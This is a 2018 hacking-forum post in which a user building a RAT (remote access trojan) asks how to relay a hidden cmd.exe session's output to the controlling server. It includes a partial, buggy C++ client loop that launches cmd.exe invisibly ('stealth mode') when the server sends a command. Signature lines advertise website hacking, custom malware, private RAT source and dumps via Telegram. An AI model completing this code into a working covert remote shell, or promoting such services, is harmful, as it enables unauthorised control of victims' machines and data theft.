Apr 25, 2018 02:57 AM
(This post was last modified: Apr 25, 2018 03:21 AM by stdio.)
Hello HF,
In early stages of building a RAT, so far I have
(1) Server and client connecting through sockets
(2) server selects a function (snapshot/get process list etc) to perform on client (functions pre coded on client)
Now I would like to initiate a cmd session on client PC so I can possibly do anything on client PC, instead of just some pre-coded functions.
I can initiate a cmd session on client PC but need guidance on how to send/rcv commands and cmd output back to server. I read about pipes but still need help.
This is the part where client rcvs command to initiate cmd session
Any kind of help is appreciated.
In short I need to know how to get the output of cmd to client and then send it over to server. Just need pointers, rest I can search (hopefully).
In early stages of building a RAT, so far I have
(1) Server and client connecting through sockets
(2) server selects a function (snapshot/get process list etc) to perform on client (functions pre coded on client)
Now I would like to initiate a cmd session on client PC so I can possibly do anything on client PC, instead of just some pre-coded functions.
I can initiate a cmd session on client PC but need guidance on how to send/rcv commands and cmd output back to server. I read about pipes but still need help.
This is the part where client rcvs command to initiate cmd session
Code
while (true)
{
ZeroMemory(buf, 4096);
int bytesReceived;
recv(SendingSocket, buf, 4096, 0);
if (bytesReceived == SOCKET_ERROR)
{
cerr << "error in recv()" << endl;
break;
}
if (buf == 0)
{
cout << "Client disconnected" << endl;
break;
}
else
{
if (strcmp("1", buf) == 0)
{
//start cmd in stealth mode
STARTUPINFO StartInfo;
PROCESS_INFORMATION ProcessInfo;
ZeroMemory(&StartInfo, sizeof(StartInfo));
StartInfo.cb = sizeof(StartInfo);
if (!CreateProcess(L"c:\\cmd.exe", NULL, NULL, NULL, FALSE,
HIGH_PRIORITY_CLASS | CREATE_NO_WINDOW, NULL, NULL,
&StartInfo, &ProcessInfo))
// Close process and thread handles.
CloseHandle(ProcessInfo.hThread);
CloseHandle(ProcessInfo.hProcess);
send(SendingSocket, "Started CMD session..", strlen("Started CMD session..")+1, 0);
}
if (strcmp("2", buf) == 0)
{
send(SendingSocket, "Exited", strlen("Exited"), 0);
break;
}
}
}In short I need to know how to get the output of cmd to client and then send it over to server. Just need pointers, rest I can search (hopefully).
I +3 rep4rep <3
For website hacking, custom malware, private RAT source code, dumps etc contact me on TG: @yealink2
For website hacking, custom malware, private RAT source code, dumps etc contact me on TG: @yealink2


